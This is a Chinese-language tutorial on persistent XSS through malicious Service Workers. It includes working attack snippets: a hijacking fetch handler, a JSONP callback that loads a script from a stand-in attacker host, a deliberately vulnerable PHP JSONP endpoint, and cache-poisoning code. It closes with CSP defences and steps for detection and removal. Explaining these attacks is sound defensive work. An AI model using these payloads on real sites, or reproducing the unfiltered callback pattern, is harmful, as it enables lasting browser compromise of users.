RootkitXSS之ServiceWorker
字数 1445 2025-08-27 12:33:42
Service Worker 持久化 XSS 攻击技术详解
1. Service Worker 基础概念
Service Worker (SW) 是一种特殊的 Web Worker,它本质上充当 Web 应用程序与浏览器之间的代理服务器,具有以下关键特性:
- 可以拦截和处理网络请求
- 能够访问 Cache Storage 进行资源缓存
- 支持离线体验和后台同步
- 生命周期独立于网页
- 需要 HTTPS 环境(localhost 和 127.0.0.1 除外)
2. Service Worker 持久化 XSS 原理
利用 Service Worker 可以实现持久化 XSS 攻击,其核心原理是:
- 通过 XSS 漏洞注册恶意的 Service Worker
- Service Worker 会拦截指定或所有网络请求
- 返回攻击者构造的恶意响应
- 由于 Service Worker 的生命周期特性,即使页面刷新或重新打开,攻击依然有效
3. 攻击实现步骤
3.1 基本攻击流程
- 检查 Service Worker 支持:
if ('serviceWorker' in navigator) {
// 可以注册 Service Worker
}
- 注册恶意 Service Worker:
navigator.serviceWorker.register('malicious-sw.js')
.then(function(registration) {
console.log('注册成功,作用域: ', registration.scope);
});
- 编写恶意 Service Worker 脚本 (malicious-sw.js):
self.addEventListener('fetch', function(event) {
// 拦截特定 URL 并返回恶意响应
if (event.request.url.includes('vulnerable-page.html')) {
event.respondWith(
new Response('<script>alert("XSS")</script>', {
headers: {'Content-Type': 'text/html'}
})
);
}
});
3.2 通过 JSONP 漏洞注册 Service Worker
当存在不安全的 JSONP 接口时,可以构造特殊请求将 Service Worker 脚本作为回调:
var url = "//victim.com/jsonp?callback=importScripts('//attacker.com/malicious-sw.js')";
navigator.serviceWorker.register(url).then(...);
JSONP 接口示例(存在漏洞):
<?php
$cb_name = $_GET['callback']; // 未做安全过滤
header('Content-Type: application/javascript');
echo("$cb_name('data')");
3.3 Cache 缓存污染攻击
通过污染 Cache Storage 实现更持久的攻击:
- 基本缓存污染:
self.addEventListener('fetch', function(event) {
event.respondWith(
caches.match(event.request).then(function(res) {
if(res) return res;
return requestBackend(event);
})
);
});
function requestBackend(event) {
if(event.request.url.includes('target.js')) {
return new Response("alert('XSS');", {headers: {'Content-Type': 'application/javascript'}});
}
return fetch(event.request).then(function(res) {
// 正常缓存其他资源
var response = res.clone();
caches.open('v1').then(function(cache) {
cache.put(event.request, response);
});
return res;
});
}
- 持续缓存污染:
async function persistentPollution() {
const cacheName = 'v1';
const targetUrl = 'target.js';
const payload = `alert(1);`;
let cache = await caches.open(cacheName);
let req = new Request(targetUrl);
let res = new Response(payload);
// 定期刷新缓存
setInterval(async () => {
await cache.put(req, res.clone());
}, 1000);
}
persistentPollution();
4. 攻击条件与限制
4.1 必要条件
- 存在可用的 XSS 漏洞
- Service Worker 脚本可控(直接或间接)
- 目标页面支持 HTTPS(或 localhost/127.0.0.1)
4.2 通过 JSONP 的额外要求
- 存在有缺陷的 JSONP 接口(未校验回调名)
- JSONP 接口返回 Content-Type 为 JavaScript 类型
- JSONP 接口路径尽可能浅(最好在根目录)
4.3 局限性
- 需要用户首次访问时存在 XSS 漏洞
- Service Worker 的作用域受注册路径限制
- 现代浏览器对 Service Worker 有严格的安全限制
- 用户可能手动清除 Service Worker
5. 防御措施
-
内容安全策略 (CSP):
- 限制 Service Worker 的注册源
- 示例:
Content-Security-Policy: script-src 'self'
-
安全设置:
- 确保 JSONP 接口有严格的回调名过滤
- 避免用户可控内容影响 Service Worker 注册
-
监控与审计:
- 定期检查已注册的 Service Worker
- 监控异常的缓存行为
-
用户教育:
- 指导用户如何检查和清除恶意 Service Worker
6. 检测与清除
用户可以通过以下方式检查和管理 Service Worker:
-
Chrome 地址栏访问:
chrome://serviceworker-internals/ -
开发者工具 → Application → Service Workers
-
清除方法:
navigator.serviceWorker.getRegistrations().then(function(registrations) { for(let registration of registrations) { registration.unregister(); } });
7. 总结
Service Worker 持久化 XSS 是一种高级的客户端攻击技术,它利用浏览器缓存和请求拦截机制实现长期驻留。虽然攻击条件较为苛刻,但一旦成功危害较大。防御此类攻击需要综合运用 CSP、输入过滤和安全监控等多种手段。